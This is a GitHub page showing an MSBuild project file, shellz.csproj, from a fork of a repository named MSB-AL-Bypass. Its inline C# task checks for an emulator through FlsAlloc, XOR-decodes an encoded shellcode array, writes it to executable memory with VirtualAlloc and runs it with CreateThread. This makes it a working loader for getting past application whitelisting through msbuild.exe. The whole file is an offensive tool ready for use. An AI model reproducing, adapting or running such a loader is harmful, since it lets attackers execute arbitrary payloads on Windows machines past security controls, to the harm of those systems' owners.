forked from 0xm4ud/MSB-AL-Bypass
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathshellz.csproj
146 lines (126 loc) · 9.02 KB
/
shellz.csproj
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" />
<!-- Your PowerShell Path May vary -->
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
public class ClassExample : Task, ITask
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern UInt32 FlsAlloc(IntPtr lpCallback);
public static void Main(string[] args)
{
UInt32 result = FlsAlloc(IntPtr.Zero);
if (result == 0xFFFFFFFF)
{
return;
}
byte[] buf = new byte[808] {
0x06,0xb2,0x79,0x1e,0x0a,0x12,0x36,0xfa,0xfa,0xfa,0xbb,0xab,0xbb,
0xaa,0xa8,0xab,0xb2,0xcb,0x28,0xac,0x9f,0xb2,0x71,0xa8,0x9a,0xb2,
0x71,0xa8,0xe2,0xb2,0x71,0xa8,0xda,0xb7,0xcb,0x33,0xb2,0x71,0x88,
0xaa,0xb2,0xf5,0x4d,0xb0,0xb0,0xb2,0xcb,0x3a,0x56,0xc6,0x9b,0x86,
0xf8,0xd6,0xda,0xbb,0x3b,0x33,0xf7,0xbb,0xfb,0x3b,0x18,0x17,0xa8,
0xbb,0xab,0xb2,0x71,0xa8,0xda,0x71,0xb8,0xc6,0xb2,0xfb,0x2a,0x9c,
0x7b,0x82,0xe2,0xf1,0xf8,0xf5,0x7f,0x88,0xfa,0xfa,0xfa,0x71,0x7a,
0x72,0xfa,0xfa,0xfa,0xb2,0x7f,0x3a,0x8e,0x9d,0xb2,0xfb,0x2a,0x71,
0xb2,0xe2,0xbe,0x71,0xba,0xda,0xb3,0xfb,0x2a,0xaa,0x19,0xac,0xb7,
0xcb,0x33,0xb2,0x05,0x33,0xbb,0x71,0xce,0x72,0xb2,0xfb,0x2c,0xb2,
0xcb,0x3a,0xbb,0x3b,0x33,0xf7,0x56,0xbb,0xfb,0x3b,0xc2,0x1a,0x8f,
0x0b,0xb6,0xf9,0xb6,0xde,0xf2,0xbf,0xc3,0x2b,0x8f,0x22,0xa2,0xbe,
0x71,0xba,0xde,0xb3,0xfb,0x2a,0x9c,0xbb,0x71,0xf6,0xb2,0xbe,0x71,
0x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++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
public override bool Execute()
{
Main(new string[0]);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>